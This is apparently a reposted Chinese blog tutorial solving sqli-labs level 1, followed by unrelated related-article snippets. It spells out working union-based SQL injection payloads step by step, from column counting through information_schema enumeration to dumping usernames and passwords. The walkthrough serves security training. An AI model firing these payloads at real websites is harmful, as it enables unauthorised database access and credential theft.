SQL注入(sqli-labs第一关)

sqli-labs第一关

方法一:手工注入

来到第一关,图上说我们需要一个数字的参数

img

于是我们先手工注入?id=1 and 1=1 跟?id=1 and 1=2发现页面没有报错

每张截图上面页面中有select查询语句,这是我在第一关的源码中加上了echo "$sql ";  为了能够跟清楚的了解sql注入的原理

img

于是我们来判断一下是否为字符型注入,尝试?id=1'发现页面报错,此题应该为字符型注入

img

于是我们拼接字符串?id=1' and '1'='1页面回显正常

img

然后我们使用order by来确定表中的列数,为什么我们要确定表中字段的列数呢?是因为我们的union联合查询

联合查询特点:

1、要求多条查询语句的查询列数是一致的! 2、要求多条查询语句的查询的每一列的类型和顺序最好一致 3、union关键字默认去重,如果使用union all 可以包含重复项

于是我们构造?id=1' and '1'='1' order by 1--+  页面回显正常

      ?id=1' and '1'='1' order by 2--+  页面回显正常

      ?id=1' and '1'='1' order by 3--+  页面回显正常

      ?id=1' and '1'='1' order by 4--+  出现报错界面

img

然后我们就确定了字段数,于是用联合查询?id=-1' union select 1,2,3--+    (将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位

img

这样我们就看到了2,3这两个回显位

然后我们利用union查询,查看数据库的版本和数据库名,这里面我们再补充点知识点

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

当我们简单了解了这个之后,我们再进行下面的步骤,相信大家有了深刻的理解

接下来利用这两个回显位来查询数据库,和数据库版本信息

?id=-1' union select 1,database(),version()--+

img

然后我们知道了数据库是security,版本信息:5.7.26

再爆表之前我们先了解一波知识点:

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名

然后我们利用union查询来爆出表面宁

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

于是我们爆出了表名

img

然后,由我们正常的思维,我们的账号和密码肯定在一张表上,我们看到了users表,

于是我们查看一下这张表的字段名

?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

img

我们看到了username和password字段,

然后我们就去查询字段信息

?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/10040.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SSM【Spring SpringMVC Mybatis】——Mybatis(二)

如果对一些基础理论感兴趣可以看这一期👇 SSM【Spring SpringMVC Mybatis】——Mybatis 目录 1、Mybatis中参数传递问题 1.1 单个普通参数 1.2 多个普通参数 1.3 命名参数 1.4 POJO参数 1.5 Map参数 1.6 Collection|List|Array等参数 2、Mybatis参数传递【#与…

STL——stack容器【栈】

stack基本概念: 概念: 是一种先进后出的数据结构,它只有一个出口 因为只有一端可以调用,所以栈不支持遍历操作 栈的操作: 栈中进入数据称为:入栈(push) 栈中弹出数据称为:出栈(pop) 生活中…

C#编程模式之享元模式

创作背景:各位朋友,我们继续学习C#的编程模式,本文主要介绍享元模式。享元模式是一种结构型设计模式,它主要用于减少创建对象的数量,从而提高程序性能。它通过共享对象的方式来减少内存的使用,特别是系统中…

【多客陪玩】陪玩小程序源码APP+小程序+公众号开发 -源码交付,线下可爆改家政,整理师等功能

简述 随着电竞行业的快速发展,电竞陪玩APP正在逐渐成为用户在休闲娱乐时的首选。为了吸引用户和提高用户体验,电竞陪玩APP开发需要定制一些特色功能,并通过合适的盈利模式来获得收益。本文将为您介绍电竞陪玩APP开发需要定制的特色功能以及常…

深入学习指针3

目录 前言 1.二级指针 2.指针数组 3.指针数组模拟二维数组 前言 Hello,小伙伴们我又来了,上期我们讲到了数组名的理解,指针与数组的关系等知识,那今天我们就继续深入到学习指针域数组的练联系,如果喜欢作者菌生产的内容还望不…

Python GraphQL服务器实现库之tartiflette使用详解

概要 Tartiflette是一个为Python编写的GraphQL服务器实现,它建立在现代异步编程库如asyncio之上,提供了高性能的GraphQL执行环境。Tartiflette专注于提供最佳的开发者体验,支持最新的GraphQL特性。 安装 安装Tartiflette相对简单,但需要依赖于一些系统级的库。 首先,需…

ORACLE ODA一体机存储节点电源故障的分析处理

近期,某用户的ORACLE ODA一体机在例行机房巡检时出现亮黄灯告警;用户反馈次问题后我们立刻通过远程方式,登陆ODA的控制台进行查看; 对于ODA一体机(2个计算节点1个存储节点),计算节点可以通过il…

Python爬虫实战:爬取【某旅游交通出行类网站中国内热门景点】的评论数据,使用Re、BeautifulSoup与Xpath三种方式解析数据,代码完整

一、分析爬取网页: 1、网址 https://travel.qunar.com/2、 打开网站,找到要爬取的网页 https://travel.qunar.com/p-cs299979-chongqing进来之后,找到评论界面,如下所示:在这里我选择驴友点评数据爬取点击【驴友点评…

腾讯共享WiFi项目的加盟方式有哪些?

在这个互联互通的时代,共享经济的浪潮正以前所未有的力量席卷全球,而腾讯作为中国互联网巨头之一自然不会错过这场盛宴。其推出的腾讯共享WiFi项目自问世以来就备受瞩目,它不仅为用户提供便捷的上网服务,更为创业者打开了一个全新…

untiy 为预制体动态加载光照贴图

unity版本为2021.8 预制体不能携带光照贴图信息,只能我们自己准备了 多方查找加自己摸索终于找到了适合新版本的解决方案,直接贴代码 将这个脚本挂到预制体的最上级 using System.Collections; using System.Collections.Generic; using UnityEditor; …

美颜SDK是什么?深度学习技术在直播美颜SDK中的应用探析

美颜SDK的出现为直播、视频通话等应用提供了强大的美颜功能。接下来,我们将一同探讨美颜SDK的概念,以及深度学习技术在直播美颜SDK中的应用。 一、什么是美颜SDK? 美颜SDK是一种软件开发工具包,旨在为开发者提供便捷而强大的美颜…

四大误区:中台产品时设计你中招了几个?

01 误区一:管理系统分析工具数字化中台 传统企业在经营管理过程中会根据业务或管理需求,不断添加和升级诸如OA、CRM等不同类别的管理系统。 为了更好地响应前台的业务需求,有些企业成立了新的或扩大、加强了原有的技术部门,由…

C#上位机1ms级高精度定时任务

precisiontimer 安装扩展包 添加引用 完整代码 using PrecisionTiming;using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; us…

WinSCP软件出错:连接被意外关闭了

问题描述: WinSCP 登录 M3568 的 linux系统,提示 列出’/home/root’的目录项时出错,连接被意外关闭 具体提示如下图所示,列出’/home/root’的目录项时出错。 连接被意外关闭了 服务器发送命令的退出状态255 原因及解决&#xf…

notepad++安装 hex-editor插件

打开notepad 点击插件 搜索 hex-editor,点击右侧 安装install 安装成功后,在已安装插件中就有显示了

spring boot参数验证注解@NotNull、@NotBlank和@NotEmpty区别

目录 前言说明举例 前言 使用spring boot参数验证是常常会使用NotNull、NotBlank和NotEmpty三个判断是否不为空的注解,中文都有不能为空的意思,大部分使用者都傻傻分清它们之间到底有什么区别。今天就让咱们来一起探索它们之间的不同吧。 说明 注解名…

【数据库】数据库指令

一。数据库打开 1.命令行 2.进入mysql mysql -uroot -p密码 3.退出 exit; 二。针对数据库的操作 1.创建数据库(有分号) create database student; 2.使用数据库 use student 3.删除数据库(有分号) drop database…

数据库调优-数据库优化

数据库优化 如何发现复杂的SQL有问题? 一个个去explain吗?你有没有这样的困惑,开发代码运行顺畅丝滑,上生产了却卡的一逼? 哈哈,相信大家都会遇到这样的问题! sql 复制代码 # 举个栗子&…

4. 从感知机到神经网络

目录 1. 从感知机到神经网络 2. 最简单的神经网络 3. 激活函数的引入 1. 从感知机到神经网络 之前章节我们了解了感知机,感知机可以处理与门、非与门、或门、异或门等逻辑运算;不过在感知机中设定权重的工作是由人工来做的,而设定合适的&a…

【将Maven源改为国内阿里云镜像源】

目录 一、如何配置Maven镜像源? 二、Idea中的Maven配置 ​三、项目与你本地仓库和中央仓库的联系 一、如何配置Maven镜像源? 1、打开你的Maven用户设置文件(settings.xml)。默认情况下,该文件存在于你的用户目录下的.m2文件夹中。如果你没…